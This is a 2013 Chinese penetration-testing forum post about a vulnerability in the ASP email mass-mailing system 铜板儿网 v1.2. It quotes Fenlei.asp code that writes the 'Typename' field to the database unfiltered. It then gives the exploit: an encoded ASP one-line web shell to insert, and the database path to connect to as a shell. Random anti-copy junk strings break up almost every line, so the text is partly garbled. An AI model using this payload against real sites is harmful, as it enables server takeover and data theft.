中国网络渗透测试联盟
标题:
铜板儿网邮件群发统计系统 v1.2 漏洞
[打印本页]
作者:
admin
时间:
2013-3-14 20:14
标题:
铜板儿网邮件群发统计系统 v1.2 漏洞
'Fenlei.asp
3 p' [4 s$ C% S* d* x6 K5 U/ s
) Q/ z/ p* c3 a' }
IF Request.QueryString("Action")="del" Then
1 M* H& E+ c: B$ r
ID=Request.QueryString("ID")
: J" s0 G# `8 S( v8 Q
IF Countss ("tui","Fenlei",ID )<>0 then
! H# x3 Y- ?" a
'略
9 m) U6 v, L9 [$ S3 x2 i5 j
IF Request.QueryString("Action")="Add" Then
7 j# u; R# L+ q% g. H, ~
Tname=Request.Form("Typename")
2 A) N: k) N6 Q) e
Set Rs=Server.CreateObject("adodb.Recordset")
i1 u7 I; |$ A( h4 m; t7 ~
Sql="Select * From Fenlei Order by id Desc "
, w5 ]3 c) W$ Q# s w
Rs.Open Sql,Conn,1,3
6 }/ Y8 r% t6 d$ K. f( i
Rs.Addnew
5 _6 s- a. M2 O% o
Rs("Typename")=Tname
4 o7 r2 V, a) X" _
'略
. U& |6 \2 W7 t) n: p( l
Set Rs=Server.CreateObject("adodb.Recordset")
1 t4 e# H3 ^* N1 u: ]
Sql="Select * From Fenlei Order by id Desc "
6 m0 ]! O1 n& J7 p
Rs.Open Sql,Conn,1,1
5 X! h* H& X5 L) r# [; G" M, c
'略
: u3 G) D. o/ s
%>
% w0 l6 U, A+ F( T# L
0 y1 r' S G. W& K( S" M; E) D
$ I2 F+ ~: w7 j, V
7 S/ S6 G. j# q, i7 B5 h
没有过滤，直接写入数据库。
1 h; ?' n/ S/ Q6 G9 C5 Z
& } }6 }8 X2 P9 w! P
利用方法：
+ i' S0 L S( j/ g, a u. R6 @
0 q u, \, ~! a8 c, \* M7 ~# B( J
插入：┼攠數畣整爠煥敵瑳∨≡┩>
0 w, k: D2 e# p# D0 O
. b' X. N. A: j" y$ e( w
9 p$ H# K& B" T. `# Q5 G
连接：
http://www.xxx.com/###tongbaner.asa
4 r! w |- ~$ @9 ]! F
'默认安装文件：
' r. B9 \% t) Y2 I! Z
'install.asp
& g5 [! V g% T7 }6 u' h: A
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2